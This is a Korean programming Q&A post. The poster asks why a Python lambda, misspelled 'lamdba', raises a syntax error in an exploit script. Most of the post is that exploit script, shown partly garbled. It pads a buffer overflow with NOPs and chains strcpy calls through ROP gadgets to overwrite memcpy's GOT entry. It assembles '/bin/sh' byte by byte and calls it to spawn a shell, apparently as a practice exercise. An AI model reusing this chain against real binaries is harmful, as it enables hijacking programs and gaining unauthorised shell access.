파이썬 lamdba error
파이썬에서 lamdba 를 사용하면 계속 에러가나서 코드가 동작하지않습니다.
$ python ./exploit.py 빅엔디에서 리틀로 변환하는 작업이 필요한데 lamdba 를 사용하면 에러가떠서 도움부탁드립니다. from struct import pack p = lamdba x : pack(" strcpy_plt = 0x08048494 gadget1 = 0x080482c8 # 75 gadget01 = 0x08048114 # '/' payload = "" payload += p(strcpy_plt) + p(PPR) + p(dst_data) + p(gadget01) print(payload)
File "./exploit.py", line 4
p = lamdba x : pack("
import os
memcpy_plt = 0x08048434
memcpy_got = 0x08049888
dst_data = 0x080498b4
PPR = 0x0804854f
gadget2 = 0x080483b8 # 07
gadget3 = 0x08048535 # c0
gadget4 = 0x08049873 # 00
gadget02 = 0x08048117 # 'b'
gadget03 = 0x08048116 # 'i'
gadget04 = 0x08048318 # 'n'
gadget05 = 0x08048114 # '/'
gadget06 = 0x08048122 # 's'
gadget07 = 0x0804836c # 'h'
gadget08 = 0x08049873 # NULL
payload += "\x90"*268
payload += p(strcpy_plt) + p(PPR) + p(memcpy_got) + p(gadget1)
payload += p(strcpy_plt) + p(PPR) + p(memcpy_got+1) + p(gadget2)
payload += p(strcpy_plt) + p(PPR) + p(memcpy_got+2) + p(gadget3)
payload += p(strcpy_plt) + p(PPR) + p(memcpy_got+3) + p(gadget4)
payload += p(strcpy_plt) + p(PPR) + p(dst_data+1) + p(gadget02)
payload += p(strcpy_plt) + p(PPR) + p(dst_data+2) + p(gadget03)
payload += p(strcpy_plt) + p(PPR) + p(dst_data+3) + p(gadget03)
payload += p(strcpy_plt) + p(PPR) + p(dst_data+4) + p(gadget04)
payload += p(strcpy_plt) + p(PPR) + p(dst_data+5) + p(gadget05)
payload += p(strcpy_plt) + p(PPR) + p(dst_data+6) + p(gadget06)
payload += p(strcpy_plt) + p(PPR) + p(dst_data+7) + p(gadget07)
payload += p(strcpy_plt) + p(PPR) + p(dst_data+8) + p(gadget08)
payload += p(memcpy_plt) + p(PPR) + p(dst_data)
댓글 달기